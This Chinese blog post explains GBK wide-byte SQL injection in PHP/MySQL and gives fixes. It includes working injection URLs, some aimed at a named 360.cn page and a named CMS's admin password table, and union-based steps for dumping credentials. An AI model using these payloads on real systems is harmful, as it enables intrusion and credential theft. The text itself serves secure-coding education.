今天看了bhst的这篇文章
http://www.bhst.org/viewthread.php?tid=1382&extra=page%3D1
了解了宽字符注入的一些东西
1. php 使用 php_escape_shell_cmd这个函数来转义命令行字符串时是作为单字节处理的
2. 而当操作系统设置了GBK、EUC-KR、SJIS等宽字节字符集时候,将这些命令行字符串传递给MySQL处理时是作为多字节处理的
例如这里:
http://localhost/gbk.php?username=%df%27 //多字节编码
%df%27=�’ //看,出单引号了,后面就可以构造了
http://localhost/test/b.php?username=%df%27 or 1%23
sql语句类似这样: SELECT * FROM demo WHERE username = ‘�’ or 1#’ LIMIT 1
这样就可以注入啦
在php的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在linux设置了GBK字符集的时候,它的处理是双字节 的,大家的理解很明显地不一致。我们查下GBK的字符集范围为8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\的编码为5c,
结果就是:
神马php自带的addslashes,mysql_escape_string,
还有php.ini的magic_quotes_gpc神马的,都无法过滤宽字节搞出来的单引号,注入就来了
现在修补办法就是设置设置客户端的字符集为二进制,
类似这样:
1. mysql_query(“SET CHARACTER SET ‘gbk'”, $conn); //不安全的
2. mysql_query(“SET character_set_connection=gbk, character_set_results=gbk, character_set_client=binary”, $conn); //安全的
当然,这样还不能高枕无忧,还需注意,在下面的使用中,不要将用户输入的东西随便转换编码,
因为一旦转换,宽字符就又来了,上面写的二进制可只有gbk,你要是转成utf-8,那宽字符不是又来了么。
特别记录下,自己以后写代码神马的要注意下,假如要挖洞,也要注意,那个ECSHOP 2.6.x/2.7.x GBK版本的漏洞不就是这样的吗。
原文地址:http://hi.baidu.com/wulinlw/blog/item/c21a106eb865b7d480cb4ae4.html
360某站宽字节注入
baoku.360.cn/app/search?kw=
来搜索。
baoku.360.cn/app/search?kw=%df' or 1=1%23
baoku.360.cn/app/search?kw=%df' or 1=2%23
恩宽字节!
稻草人企业站管理系统宽字节注入
偶然在站长下载站下了一套企业建站程序发现人气还蛮高的
下载地址
http://down.chinaz.com/soft/26802.htm
就去测试一下发现了一个宽字节注入漏洞
http://127.0.0.1/search.php?k=10%d5'%20union%20select%201,password,3%20from%20dcr_qy_admin%23
MySQL中SQL的单字节注入与宽字节注入
一、单字节SQL注入
MYSQL的SQL注入已经由来已久,以下是普遍采用的注入步骤:
1、在GET参数上加一个/*或者#(mysql专有的注释),判断数据库是否是mysql,比如:
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*
2、猜解某表的字段数,从order by 1一直更改到页面出错为止,就可以得到该表的字段数
注入URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#
对应的SQL: select * from articles where id=1607 or 1=1 order by 10#….
3、使用该表和用户表进行关联查询,在文章列表里就可以看到用户名和密码了。当也要猜解用户表的表名和用户名、密码的字段名,比如上一步得到的字段数是5:
注入的URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select username,password,1,2,3 from user
对应的SQL: select * from articles where id=1607 or 1=1 union select username,password,1,2,3 from user
这样就可以在界面上看到用户名和密码了。
解决方法:
过滤数据:这并不是罗唆。在合适的地方使用良好的数据过滤,可以减小多数安全隐患,甚至可以消除其中的一部分。
将数据用括号包含:如果你的数据库允许(MySQL 允许),在 SQL 语句中,不论什么类型的数据都用单引号包含起来。
转义数据:一些合法的数据可能在无意中破坏 SQL 语句本身的格式。使用 mysql_escape_string() 或者所使用数据库提供的转移函数。如果没有提供这样的函数,addslashes() 也是不错的最后选择。
二、宽字节注入
宽字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ = %df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。比如:
以下为引用的内容:
$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”); |
则通过以下注入即可:
http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=
对应的SQL是:
select * from cms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”
解决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。如:
以下为引用的内容:
mysql_query(”SET character_set_client=binary”);
转载请注明:jinglingshu的博客 » 对宽字节注入的理解